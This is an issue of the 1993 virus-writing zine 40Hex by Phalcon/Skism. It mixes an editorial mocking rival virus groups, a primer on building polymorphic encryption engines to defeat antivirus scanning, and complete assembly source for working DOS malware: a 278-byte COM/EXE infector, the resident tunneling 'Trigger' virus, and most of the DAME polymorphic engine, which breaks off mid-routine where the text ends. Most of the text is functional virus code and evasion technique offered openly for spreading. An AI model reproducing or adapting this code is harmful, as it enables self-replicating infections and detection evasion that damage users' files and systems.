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40Hex Issue 11 Volume 3 Number 2 File 000
Welcome to 40Hex, the industry-standard virus information magazine,
brought to you by your friends at Phalcon/Skism, where our mottoes are
"We don't care" and "We write viruses until we're blue in the face and
green in the eyes." Once again, we continue to bring you only the best
in virus news, programming, and miscellaneous source code.
We welcome our newest member, Priest, who has written a number of
advanced viruses. The source code to one of his viruses, Predator, is
included in this issue.
Also in this issue is Dark Angel's Multiple Encryptor (DAME). This
is one of the more advanced polymorphic routines available. Since source
code is included, you'll probably see SPEW (Sweet Potato Encryption
Writer) coming soon to finer P0taT0 boards near you.
Well, enough ranting -- enjoy the magazine!
-)Gheap
File Description
0000.................This file, of course.
0001.................Today's Phalcon/Skism Gripe
0002.................Advanced Polymorphism Primer, Part 1
0003.................Phalcon/Skism Trigger Virus & DAME Source Code
0004.................Virus Censorship (Gripe Part II)
0005.................Virus Spotlite: Leech
0006.................Fun with System File Tables
0007.................SVC 5.0 disassembly
0008.................Predator Source Code
Greets to: NuKE, The Attitude Adjuster, Kenny C., Al, Bob, and our little
potato friends.
40Hex Issue 11 Volume 3 Number 2 File 001
Life, the Universe, and 40Hex
It is apparent to even the blindest of observers that the virus
phenomenon has caught on. Everyone and his kid brother has decided to start
a virus group, whether or not they have programmers capable of creating a
viable (read: parasitic) virus. While this in itself is merely offensive,
it is the sheer arrogance of these meta-groups which is irritating. Of
course, no names will be mentioned, as that would be mean and we all wish
for a happy world.
The most common trait of these pseudo-groups is for a member to state
that all code that was written was "developed on my own." Of course, this
is seldom the case. Often, the "original source code" to their viruses
clearly originated at some point from a Sourcer disassembly. Heck, when you
see "seg_a" or "loc_0027," you know they're just poor hacks. Of course, the
the disparate coding styles in the "source" also reveals the nature of the
virus.
And when the virus is listed as a Dark Avenger hack in various anti-
virus products, the individuals persist in their self-induced fantasies,
saying their viruses are original. I suppose the anti-virus programmers,
who have disassembled countless viruses, can't spot a Dark Avenger or Murphy
hack when they see one. Stop fooling yourselves.
And these mentally challenged persons continue, insisting routine X, a
"new, innovative technique," was developed independently. Yet anyone with
even a minimal exposure to virus source code can see traces of other viruses
in these routines. Even the ideas presented are seldom new; most having
already been implemented by existing viruses. The worst of these people
magnify all of their supposed accomplishments, talking of the revolutionary
changes they single-handedly effect.
Every group goes through a phase in which they hack viruses; they
should not be proud of these viruses. But it is merely the first step and
most grow out of it. Skism-1, for example, was a Jerusalem hack. It is
ancient history. I might also point out that the Phalcon/Skism viruses
published in both the last issue and this one are far superior to Skism-1.
Phalcon/Skism does not release the source code to half-baked viruses just so
40Hex can look larger. Every virus programmer has a few experimental
viruses; yet it is not necessarily appropriate to print all of them. If I
wrote a virus which had several hundred bytes of repetitious code, I would
be ashamed to print it. It's like releasing a program which has only been
half-completed.
When a virus programmer additionally claims, "This virus was written
two years ago, so it sucks, but I'm going to release it anyway because it's
good to learn from," I have my doubts. When s/he further hurridly states,
"My other viruses are better," then my doubts grow. Where, pray tell, are
these superior viruses? Why publish that which you admit sucks? Of course,
anyone that makes such a claim, or one such as, "Next time, I'll release a
COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I
wrote last week," is suspicious.
As an example of the mindless boasting, observe the following: (Note:
the following should not be construed as a personal attack against either
the person or group in question.)
This person wrote, "As with many of my routines, stuff which took many
other virus writers a few pages of code took me one page... that's not bad!
I have many other goodies up my sleeve, like a 387-byte generic COM/EXE
parasitic infector on execution, the smallest of its kind in the WORLD...
(with room for improvement!)."
Please do not boast if you cannot substantiate your claims. For
example, these claims are easily shredded by counterexample. Let us examine
the Voronezh-370 virus. It is a generic parasitic COM/EXE infector and it
is indeed less than 387 bytes. If 387 bytes is the smallest in the world,
then this may very well be the smallest in the universe. With only two
hours of fiddling, I came up with the following virus (278 bytes), which may
yet be the smallest of its kind in all of creation! Actually, I make no
such claim, as a smaller one _can_ be written. The point was to show that
this claim was not all that impressive and was, in fact, dead wrong. Let us
not be o'erhasty to boast next time.
As with many of my viruses, stuff which took many other virus writers
over 380 bytes took me under 280... that's not bad! Humour aside, I might
point out that this virus is _over_ 100 bytes less than the boaster's
attempt, so it is _significantly_ smaller. Gee, I wonder what those extra
109 bytes are used for.
-------------Cut here----------------
.model tiny
.code
.radix 16
.code
; Phalcon/Skism _Small virus
; Written by Dark Angel of Phalcon/Skism
; 278 byte generic COM/EXE infector
EXE_ID = -40
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnEXE:
mov ax,ds
add ax,10
add [bp+16],ax
add ax,[bp+0e]
mov ss,ax
mov sp,cs:[bp+10]
jmp dword ptr cs:[bp+14]
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectEXE
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
int21:
cmp ax,4b00
jz infect
jmp short chain
infectEXE:
cmp word ptr [di+10],EXE_ID
jz go_already_infected
push ax
push dx
add ax,viruslength
adc dx,0
mov cx,200
div cx
or dx,dx
jz nohiccup
inc ax
nohiccup:
mov ds:[di+4],ax
mov ds:[di+2],dx
pop dx
pop ax
mov cx,10
div cx
sub ax,ds:[di+8]
mov ds:[di+14],dx
mov ds:[di+16],ax
mov ds:[di+0e],ax
mov word ptr ds:[di+10],EXE_ID
finishinfect:
mov ah,40
mov cx,viruslength
mov dx,startload
int 21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov dx,di
pop cx
int 21
already_infected:
mov ah,3e
int 21
exitinfect:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea
heap:
old21 dw ?, ?
target dw 0ch dup (?)
endheap:
end _small
-------------------------------------
I think the informed virus and anti-virus person recognises these
claims as the baseless boasts they are. Let me assure you that you will see
none of that in 40Hex.
Finally, each new group proclaims to be the world's predominant virus
group. Each new group puts out a magazine. Each new group presents H/P/A
articles in their magazines. Let us go through each one step by step.
Hacking. Gee, can't you see the connection with viruses? Phreaking. Got
some c0deZ, d00d? Anarchy. Gee, I want total chaos even though I probably
couldn't survive such a situation. H/P/A aside, these "virus magazines" do
indeed contain some virus-related articles. Generally, these are of the
form "X virus is great, but we won't give source. X does this, it does
that, it is not a hack of Dark Avenger even though it scans as such." Some
articles give Sourcer disassemblies -- hardly commented, yet termed
disassemblies nonetheless. Finally, there are the programming articles
containing tips and tricks from the "masters." These often contain
nonworking code. These often contain factual errors. These often are
nothing but a waste of time.
Does this sound elitist? I hope not. Judge virus groups and their
magazines on their merits, not on their hype. Do not take a virus group's
word as gospel; it seldom reflects the truth. Instead, do some
investigation on your own and try to verify (or refute) their claims. You
may be surprised at the results. There is also no reason to immediately
condemn all anti-virus people as corrupt and "lame"; many are just ordinary
people "on the other side." The virus scene is becoming less innovative as
these new quasi-groups emerge. This apparent contradiction must end soon.
We ask all groups to end the self-back-patting and blatant lying and do some
real work.
Finally, a short summary of 40Hex is in order, for both new and old
readers alike. The paragraphs below show the current editorial stance and
opinion of 40Hex, which has evolved during the several years of its
existence. What holds true for 40Hex also applies to Phalcon/Skism.
40Hex is _not_ a magazine for self-congratulation. Although put out by
Phalcon/Skism, 40Hex serves as medium through which the public may hear the
voice of the informed virus community without magnification of either the
achievements or failures of any particular virus group or programmer.
Although the 40Hex staff offers opinions from the pro-virus standpoint,
40Hex is not an anti-anti-virus magazine. There is a clear distinction
between pro- and anti-anti-virus. 40Hex encourages anti-virus researchers
to contribute. 40Hex offers a fair, unbiased view except in editorials,
which obviously reflect the opinions of the authors.
40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff.
Illegal and anarchistic activities are not condoned by 40Hex and, as such,
these topics are not appropriate for inclusion in the magazine. The public
distribution of quality virus source code and virus writing techniques, both
old and new, is one of the predominant goals of 40Hex, serving to inform
both the pro- and anti-virus community. The secondary function of the
magazine is to spread virus-related news. 40Hex is concerned more with
content than size. You know the old saw "Quality, not quantity." Other
magazines appear larger than they truly are because each article is padded
to 80 columns, effectively doubling its file length.
40Hex articles are _not_ mere rehashes of what has already been
printed. Other magazines have presented articles which closely mirror those
already published in 40Hex. Such poorly rewritten articles are neither
enlightening nor necessary.
40Hex is _not_ a tool with which people wreak havok upon others'
systems. This is simply an unfair view of the magazine. In fact, 40Hex is
against wanton destruction of computer systems. Viruses are so prevalent
nowadays that anyone can obtain them with little difficulty. They also need
not obtain 40Hex to be able to type "FORMAT C:" Knobs will be knobs.
40Hex _is_ a public forum, allowing those who take the time to write to
have their opinions published. We encourage all to send letters to 40Hex,
as they provide valuable insight into the virus and anti-virus communities
from a fresh perspective.
40Hex is _not_ inherently evil. What you choose to do with the
knowledge provided is your business.
Once again, 40Hex does not condone the illegal spread of viruses. Such
actions are frowned upon. Our stance has evolved over the years, so don't
bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you
have a closed mind and absolutely nothing else to say.
-- Dark Angel
Phalcon/Skism
40Hex Issue 11 Volume 3 Number 2 File 002
?????????????????????
ADVANCED POLYMORPHISM
PRIMER
PART THE FIRST
?????????????????????
By Dark Angel
Phalcon/Skism
?????????????????????
With the recent proliferation of virus encryption "engines," I was
inspired to write my own. In a few short weeks, I was able to construct one
such routine which can hold its own. A polymorphic encryption routine is
nothing more than a complex code generator. Writing such a routine, while
not incredibly difficult, requires careful planning and perhaps more than a
few false starts.
The utility of true polymorphism is, by now, an accepted fact.
Scanning for the majority of viruses is a trivial task, involving merely the
identification of a specific pattern of bytes in executable files. This
approach is quick and may be used to detect nearly all known viruses.
However, polymorphism throws a monkey wrench into the works. Polymorphic
viruses encode each copy of the virus with a different decryption routine.
Since (theoretically) no bytes remain constant in each generated decryption
routine, virus detectors cannot rely on a simple pattern match to locate
these viruses. Instead, they are forced to use an algorithmic appproach
susceptible to "false positives," misleading reports of the existence of the
virus where it is not truly present. Creating a reliable algorithm to
detect the polymorphic routine takes far more effort than isolating a usable
scan string. Additionally, if a virus detector fails to find even one
instance of the virus, then that single instance will remain undetected and
spawn many more generations of the virus. Survival, of course, is the
ultimate goal of the virus.
Before attempting to write a polymorphic routine, it is necessary to
obtain a manual detailing the 80x86 instruction set. Without bit-level
manipulation of the opcodes, any polymorphic routine will be of limited
scope. The nice rigid structure of the 80x86 instruction set will be
readily apparent after a simple perusal of the opcodes. Exploitation of
this structured instruction set allows for the compact code generation
routines which lie at the heart of every significant polymorphic routine.
After examining the structure of the opcodes, the basic organisation of
the polymorphic routine should be laid out. Here, an understanding of the
basics behind such routines is required. The traditional approach treats
the decryption routine as a simple executable string, such as
"BB1301B900022E8137123483C302E2F6." A true (advanced) polymorphic routine,
by contrast, views the decryption routine as a conceptual algorithm, such
as, "Set up a 'pointer' register, that is, the register whose contents hold
a pointer to the memory to be decrypted. Set up a counter register. Use
the pointer register to decrypt one byte. Update the pointer register.
Decrement the count register, looping if it is not zero." Two routines
which fit this algorithm follow:
Sample Encryption 1
------ ---------- -
mov bx,offset startencrypt ; here, bx is the 'pointer' register
mov cx,viruslength / 2 ; and cx holds the # of iterations
decrypt_loop:
xor word ptr [bx],12h ; decrypt one word at a time
inc bx ; update the pointer register to
inc bx ; point to the next word
loop decrypt_loop ; and continue the decryption
startencrypt:
Sample Encryption 2
------ ---------- -
start:
mov bx,viruslength ; now bx holds the decryption length
mov bp,offset start ; bp is the 'pointer' register
decrypt_loop:
add byte ptr [bp+0Ch],33h ; bp+0Ch -> memory location to be
; decrypted at each iteration
inc bp ; update the pointer register
dec bx ; and the count register
jnz decrypt_loop ; loop if still more to decrypt
The number of possibilities is essentially infinite. Naturally,
treating the decryption as an algorithm rather than as an executable string
greatly increases the flexibility in creating the actual routine. Various
portions of the decryption algorithm may be tinkered with, allowing for
further variations. Using the example above, one possible variation is to
swap the order of the setup of the registers, i.e.
mov cx,viruslength
mov bx,offset startencrypt
in lieu of
mov bx,offset startencrypt
mov cx,viruslength
It is up to the individual to decide upon the specific variations which
should be included in the polymorphic routine. Depending upon the nature of
the variations and the structure of the polymorphic routine, each increase
in power may be accompanied with only a minimal sacrifice in code length.
The goal is for the routine to be capable of generating the greatest number
of variations in the least amount of code. It is therefore desirable to
write the polymorphic routine in a manner such that additional variations
may be easily accommodated. Modularity is helpful in this respect, as the
modest overhead is rapidly offset by substantial space savings.
The first step most polymorphic routines undergo is the determination
of the precise variation which is to be encoded. For example, a polymorphic
routine may decide that the decryption routine is to use word-length xor
encryption with bx as the pointer register, dx as a container for the
encryption value, and cx as the counter register. Once this information is
known, the routine should be able to calculate the initial value of each
variable. For example, if cx is the counter register for a byte-length
encryption, then it should hold the virus length. To increase variability,
the length of the encryption can be increased by a small, random amount.
Note that some variables, in particular the pointer register, may not be
known before encoding the rest of the routine. This detail is discussed
below.
Of course, selecting the variables and registers will not in and of
itself yield a valid decryption routine; the polymorphic routine must also
encode the actual instructions to perform the job! The cheesiest
polymorphic routines encode a single "mov" instruction for the assignment of
a value to a register. The more complex routines encode a series of
instructions which are functionally equivalent to the simple three byte
"mov" statement yet far different in form. For example,
mov ax, 808h
could be replaced with
mov ax, 303h ; ax = 303h
mov bx, 101h ; bx = 101h
add ax, bx ; ax = 404h
shl ax, 1 ; ax = 808h
Recall that the registers should be encoded in a random order. The
counter variable, for example, should not always be the first to be encoded.
Predictability, the bane of polymorphic routines, must be avoided at all
costs.
After the registers are encoded, the actual decryption loop should then
be encoded. The loop can perform a number of actions, the most significant
of which should be to manipulate the memory location, i.e. the actual
decryption instruction, and to update the pointer register, if necessary.
Finally, the loop instruction itself should be encoded. This can take many
forms, including "loop," "loopnz," "jnz," etc. Possible variations include
altering the decryption value register and the counter register during each
iteration.
This is the general pattern of encoding. By placing garbling, or "do-
nothing," instructions between the essential pieces of code, further
variability may be ensured. These instructions may take many forms. If the
encoding routines are well-designed, the garbler can take advantage of the
pre-existing code to generate null instructions, such as assignments to
unused registers.
Once the decryption routine has been written, it is necessary to
encrypt the virus code. The traditional approach gives the polymorphic
routine the job of encrypting the code. The polymorphic routine should
therefore "remember" how the precise variation used by the decryptor and
adjust the encryption routine in a complementary fashion. An alternate
approach is for the polymorphic routine to simultaneously encode both the
encryption and decryption routines. Although it adds overhead to the code,
it is an extremely flexible approach that easily accommodates variations
which may be later introduced into the polymorphic routine.
Variable-length decryptors come at a significant trade-off; the exact
start of the decryption cannot be known before encoding the decryptor.
There are two approaches to working around this limitation. The first is to
encode the pointer register in a single instruction, i.e. mov bx,185h and to
patch the initial value once it is known. This is simplistic, though
undesirable, as it decreases the variability of the routine. An alternate
approach is to encode the encryption instruction in the form xor word ptr
[bx+185h], cx (as in Sample Encryption 2, above) instead of xor word ptr
[bx], cx (as in Sample Encryption 1). This increases the flexibility of the
routine, as the initial value of the pointer register need not be any fixed
value; correct decryption may be assured by adjusting the offset in the
decryption instruction. It is then possible to encode the pointer register
with multiple instructions, increasing flexibility. However, using either
method alone increases the predictability of the generated code. A better
approach would be to incorporate both methods into a single polymorphic
routine and randomly selecting one during each run.
As an example of a polymorphic routine, I present DAME, Dark Angel's
Multiple Encryptor and a simple virus which utilises it. They appear in the
following article. DAME uses a variety of powerful techniques to achieve
full polymorphism. Additionally, it is easy to enhance; both the encoding
routines and the garblers can be extended algorithmically with minimal
effort. In the next issue, I will thoroughly comment and explain the
various parts of DAME.
40Hex Issue 11 Volume 3 Number 2 File 003
Trigger Virus
This virus was written as a test virus for DAME, Dark Angel's Multiple
Encryptor. Trigger is a resident COM/EXE infector with tunneling capabilities.
When it executes, it traces down the int 21h chain until it finds the original
int 21h handler. It then inserts code to jump to the virus, which returns
control to the original int 21h handler after processing the request.
-- Dark Angel
Phalcon/Skism 1993
-begin trigger.asm-------------------------------------------------------------
.model tiny
.code
.radix 16
org 0
viruslength = (heap - entry)
virussizeK = (endvirus - entry + 3ff) / 400
virussizepara = (virussizeK)*40
EXE_ID = 'PS'
entry:
call past
next:
db 0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
db "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
db 0Dh,0A,0
checkstub db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
past: cld
pop bp
mov ax,0cf0
mov bx,'DA'
int 21
cmp bx,'GH'
jnz no_trigger
trigger:
push ds
push es
push cs
pop ds
xor ax,ax
checkagain:
lea si,[bp+checkstub-next]
mov es,ax
xor di,di
mov cx,8
rep cmpsw
jz trigger_it
inc ax
cmp ax,0a000
jb checkagain
jmp exit_trigger
trigger_it:
mov [bp+patch-next],ax
mov ds,ax
mov byte ptr ds:73,0cbh
push bp
mov bp,-80
jmp short $+2
db 09a ; call far ptr
dw 1
patch dw ?
pop bp
mov byte ptr ds:73,1f
exit_trigger:
pop es
pop ds
jmp short restore
no_trigger:
mov ax,4b90
int 21
cmp ax,bx
jz restore
push ds
push es
mov ax,ds
dec ax
mov ds,ax
sub word ptr ds:3,virussizepara
sub word ptr ds:12,virussizepara
mov es,ds:12
push cs
pop ds
xor di,di
lea si,[bp+offset entry-offset next]
mov cx,(viruslength + 1)/2
rep movsw
xor ax,ax
mov ds,ax
sub word ptr ds:413,virussizeK
mov di,offset oldint21
mov si,21*4
movsw
movsw
cli
pushf
pushf
pop ax
or ah,1
push ax
mov ds:1*4+2,es
mov word ptr ds:1*4,offset int1_1
popf
mov ah,30
pushf
call dword ptr ds:21*4
popf
lds si,dword ptr es:oldint21
mov di,si
lodsw
mov word ptr es:int21patch1,ax
lodsw
mov word ptr es:int21patch2,ax
lodsb
mov byte ptr es:int21patch3,al
push ds ; es:di->int 21 handler
push es
pop ds ; ds->high segment
pop es
mov al,0ea
stosb
mov ax,offset int21
stosw
mov ax,ds
stosw
sti
pop es
pop ds
restore:
cmp sp,-2
jnz restoreEXE
restoreCOM:
lea si,[bp+readbuffer-next]
mov di,100
push di
movsw
movsw
ret
restoreEXE:
mov ax,ds
add ax,10
add cs:[bp+readbuffer+16-next], ax
add ax,cs:[bp+readbuffer+0e-next]
mov ss,ax
mov sp,cs:[bp+readbuffer+10-next]
jmp dword ptr cs:[bp+readbuffer+14-next]
readbuffer dw 20cdh
dw 0bh dup (?)
int1_1:
push bp
mov bp,sp
push ax
mov ax, [bp+4] ; get segment
cmp ax, cs:oldint21+2
jae exitint1
mov cs:oldint21+2,ax
mov ax, [bp+2]
mov cs:oldint21,ax
exitint1:
pop ax
pop bp
iret
int1_2:
push bp
mov bp,sp
push ax
mov ax,cs
cmp ax,[bp+4]
jz exitint1
mov ax,[bp+4]
cmp ax,cs:oldint21+2
jnz int1_2_restore
mov ax,[bp+2]
cmp ax,cs:oldint21
jb int1_2_restore
sub ax,5
cmp ax,cs:oldint21
jbe exitint1
int1_2_restore:
push es
push di
cld
les di,dword ptr cs:oldint21
mov al,0ea
stosb
mov ax,offset int21
stosw
mov ax,cs
stosw
pop di
pop es
and [bp+6],0feff
jmp exitint1
install:
mov bx,ax
iret
int21:
cmp ax,4b90
jz install
push ds
push di
lds di,dword ptr cs:oldint21
mov word ptr ds:[di],1234
int21patch1 = $ - 2
mov word ptr ds:[di+2],1234
int21patch2 = $ - 2
mov byte ptr ds:[di+4],12
int21patch3 = $ - 1
pop di
pop ds
cld
cmp ax,4b00
jz infect
exitint21:
push ds
push ax
xor ax,ax
mov ds,ax
cli
mov word ptr ds:1*4,offset int1_2
mov ds:1*4+2,cs
sti
pushf
pop ax
or ah,1
push ax
popf
pop ax
pop ds
db 0ea
oldint21 dw 0, 0
callint21:
pushf
call dword ptr cs:oldint21
ret
already_infected:
pop dx
pop cx
mov ax,5701
call callint21
mov ah,3e
call callint21
exitnoclose:
mov ax,4301
pop dx
pop ds
pop cx
call callint21
exitinfect:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
jmp exitint21
infect:
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
mov ax,4300
call callint21
push cx
push ds
push dx
mov ax,4301
xor cx,cx
call callint21
mov ax,3d02
call callint21
jc exitnoclose
xchg ax,bx
mov ax,5700
int 21
push cx
push dx
mov ah,3f
mov cx,18
push cs
pop ds
push cs
pop es
mov dx,offset readbuffer
mov si,dx
call callint21
jc already_infected
mov di,offset writebuffer
mov cx,18/2
push si
push di
rep movsw
pop di
pop si
mov ax,4202
xor cx,cx
cwd
int 21
cmp word ptr [di],'ZM'
jnz infectCOM
infectEXE:
cmp readbuffer+10,EXE_ID
go_already_infected:
jz already_infected
mov ds:writebuffer+4,ax
mov ds:writebuffer+2,dx
mov cx,10
div cx
sub ax,ds:writebuffer+8
mov ds:writebuffer+14,dx
mov ds:writebuffer+16,ax
xchg cx,dx
mov ds:writebuffer+0e,ax
mov ds:writebuffer+10,EXE_ID
mov al,10b
jmp finishinfect
infectCOM: ; si = readbuffer, di = writebuffer
push ax
mov cx,4
xor dx,dx
check_infection_loop:
lodsb
add dl,al
loop check_infection_loop
pop ax
or dl,dl
jz go_already_infected
mov dx,18
cmp ax,dx
jnb no_fixup_com
mov ax,4200
xor cx,cx
int 21
no_fixup_com:
mov cx,ax
inc ch ; add cx,100
sub ax,3
push ax
mov al,0e9
stosb
pop ax
stosw
add al,ah
add al,0e9
neg al
stosb
mov al,11b
finishinfect:
cbw
; ax = bitmask
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt in virus
; si = buffer to put decryption routine
; di = buffer to put encryption routine
push bx
xchg cx,bx
xor si,si
mov di,offset copyvirus
mov cx,(heap-entry+1)/2
rep movsw
push ax
call rnd_init_seed
pop ax
mov dx,offset copyvirus
mov cx,viruslength
mov si,offset _decryptbuffer
mov di,offset _encryptbuffer
call dame
push cx
cmp ds:writebuffer,'ZM'
jnz no_fix_header
mov dx,ds:writebuffer+2
mov ax,ds:writebuffer+4
add cx,viruslength
add ax,cx
adc dx,0
mov cx,200
div cx
or dx,dx
jz nohiccup
inc ax
nohiccup:
mov ds:writebuffer+4,ax
mov ds:writebuffer+2,dx
no_fix_header:
call di
pop cx
pop bx
mov ah,40
mov dx,offset _decryptbuffer
call callint21
mov ah,40
mov cx,viruslength
mov dx,offset copyvirus
call callint21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov cx,18
mov dx,offset writebuffer
call callint21
jmp already_infected
vars = 0
include dame.asm
heap:
vars = 1
include dame.asm
writebuffer dw 0c dup (?)
_encryptbuffer: db 80 dup (?)
_decryptbuffer: db 180 dup (?)
copyvirus db viruslength dup (?)
db 20 dup (?)
endvirus:
end entry
-end trigger.asm----begin dame.asm---------------------------------------------
ifndef vars
vars = 2
endif
if vars eq 1
else
_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7
_es = 8
_cs = 9
_ss = 0a
_ds = 0bh
MAXNEST = 0a ; controls recursion problems
; ax = flags
; 15 : Reserved
; 14 : 0 = word, 1 = dword
; 13 : encryption direction : 0 = forwards, 1 = backwards
; 12 : counter direction : 0 = forwards, 1 = backwards
; 11 : ^
; 10 : R
; 9 : E
; 8 : S
; 7 : E
; 6 : R
; 5 : V
; 4 : E
; 3 : D
; 2 : v
; DAME sets the above bits
;
; Virus sets the following bits:
; 1 : garble : 1 = yes, 0 = no
; 0 : DS = CS : 1 = yes, 0 = no
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt
; si = buffer to put decryption routine
; di = buffer to put encryption routine
; ds = current cs
; es = current cs
; Returns:
; cx = decryption routine length
; all other registers are preserved.
rnd_init_seed:
push dx
push cx
push bx
mov ah,2C ; get time
int 21
in al,40 ; port 40h, 8253 timer 0 clock
mov ah,al
in al,40 ; port 40h, 8253 timer 0 clock
xor ax,cx
xor dx,ax
jmp short rnd_get_loop_done
get_rand:
push dx
push cx
push bx
in al,40 ; get from timer 0 clock
db 5 ; add ax, xxxx
rnd_get_patch1 dw 0
db 0BA ; mov dx, xxxx
rnd_get_patch2 dw 0
mov cx,7
rnd_get_loop:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_get_loop_loc
inc al
rnd_get_loop_loc:
loop rnd_get_loop
rnd_get_loop_done:
mov rnd_get_patch1,ax
mov rnd_get_patch2,dx
mov al,dl
pop bx
pop cx
pop dx
retn
reg_xlat_table:
db 10000111b ; bx
db 0 ; sp
db 10000110b ; bp
db 10000100b ; si
db 10000101b ; di
aligntable db 3,7,0f,1f
redo_dame:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
dame: ; Dark Angel's Multiple Encryptor
cld
push ax
push bx
push cx
push dx
push si
push di
call _dame
pop di
pop si
pop dx
pop bx ; return value in cx
pop bx
pop ax
ret
_dame:
; set up variables
cld
push ax
mov ax,offset _encryptpointer
xchg ax,di ; pointer to encryption routine buffer
stosw
xchg si,ax ; pointer to decryption routine buffer
stosw
stosw
xchg ax,dx ; starting offset of encryption
stosw
xchg ax,bx ; starting offset of decryption routine
stosw
xchg cx,dx ; dx = encrypt size
call clear_used_regs
mov cx,(endclear1 - beginclear1) / 2
rep stosw
call get_rand
and ax,not 3
pop cx
xor cx,ax ; cx = bitmask
call get_rand_bx
and bx,3
mov al,byte ptr [bx+aligntable]
cbw
add dx,ax ; round up
not ax
and dx,ax
mov ax,dx ; new encryption length
stosw ; _encrypt_length
shr ax,1
test ch,40 ; dword?
jz word_encryption
shr ax,1
word_encryption:
test ch,10
jnz counter_backwards
neg ax
counter_backwards:
stosw ; _counter_value
xchg ax,dx ; get encryption length in bytes
test ch,20
jnz encrypt_forwards
neg ax ; pointer to start of decryption
encrypt_forwards:
stosw ; _pointer_value
call get_rand
stosw ; encryption value = _decrypt_value
mov ax,8484
stosb
push di
stosw
stosb
pop di
call one_in_two
js s1
call get_another
stosb
call get_rand
mov _pointer_value,ax
dec di
s1:
inc di
jmp short gbxoh_skip
get_bx_or_higher:
call clear_reg
gbxoh_skip:
call get_another
cmp al,_bx
jb get_bx_or_higher
stosb ; _pointer_reg
call one_in_two
js s2
call get_another
stosb ; _encrypt_reg
s2:
; encode setup part of decryption
call clear_used_regs
encode_setup:
mov di,_decryptpointer
call twogarble
mov si,offset _dummy_reg
push si
encode_setup_get_another:
call get_rand_bx
and bx,3
mov al,[si+bx]
cbw
test al,80
jnz encode_setup_get_another
or byte ptr [bx+_dummy_reg],80
mov si,ax
inc byte ptr [si+offset _used_regs]
add bx,bx
mov dx,word ptr [bx+_counter_value-2]
mov _nest,0
call mov_reg_xxxx
call twogarble
call swap_decrypt_encrypt
push cx
and cl,not 3
call _mov_reg_xxxx
pop cx
mov _encryptpointer,di
pop si
mov dx,4
encode_setup_check_if_done:
lodsb
test al,80
jz encode_setup
dec dx
jnz encode_setup_check_if_done
mov si,offset _encryptpointer
mov di,offset _loopstartencrypt
movsw
movsw
; encode decryption part of loop
mov _relocate_amt,0
call do_encrypt1
test ch,40
jz dont_encrypt2
mov _relocate_amt,2
call do_encrypt1
dont_encrypt2:
mov bx,offset _loopstartencrypt
push cx
and cl,not 3
call encodejmp
pop cx
mov ax,0c3fc ; cld, ret
stosw
mov si,offset _encrypt_relocator
mov di,_start_encrypt
push cx
call relocate
pop cx
mov bx,offset _loopstartdecrypt
call encodejmp
call fourgarble
mov _decryptpointer,di
mov si,offset _decrypt_relocator
sub di,_decryptpointer2
add di,_start_decrypt
relocate:
test ch,20
jz do_encrypt_backwards
add di,_encrypt_length
do_encrypt_backwards:
sub di,_pointer_value
mov cx,word ptr [si-2]
jcxz exit_relocate
xchg ax,di
relocate_loop:
xchg ax,di
lodsw
xchg ax,di
add [di],ax
loop relocate_loop
exit_relocate:
mov di,_decryptpointer
mov cx,di
sub cx,_decryptpointer2
ret
do_encrypt1:
call playencrypt
call encryption
call playencrypt
ret
encodejmp:
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
push bx
mov _nest,0
mov al,_pointer_reg
and ax,7
mov dx,2
test ch,40
jz update_pointer1
shl dx,1
update_pointer1:
test ch,20
jz update_pointer2
neg dx
update_pointer2:
call add_reg_xxxx
mov dl,75 ; jnz
mov al,_counter_reg
and ax,7
cmp al,_sp
jz do_jnz
push dx
mov dx,1
test ch,10 ; check counter direction
jz go_counter_forwards
cmp al,_cx
jnz regular
call one_in_two
js regular
pop dx
call get_rand_bx
xchg bx,dx
and dl,2
or dl,0e0 ; loop/loopnz
jmp short do_jnz
regular:
neg dx
go_counter_forwards:
call add_reg_xxxx
pop dx
do_jnz:
pop bx
mov ax,[bx]
sub ax,di
dec ax
dec ax
xchg ah,al
mov al,dl ; jnz
test ah,80
jnz jmplocation_okay
pop ax
pop ax
jmp redo_dame
jmplocation_okay:
stosw
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
ret
swap_decrypt_encrypt:
mov _nest,MAXNEST
mov _decryptpointer,di
mov di,_encryptpointer
ret
playencrypt:
mov di,_decryptpointer
call twogarble
mov al,_encrypt_reg
and ax,7
cmp al,4 ; is there an encryption register?
jz swap_decrypt_encrypt
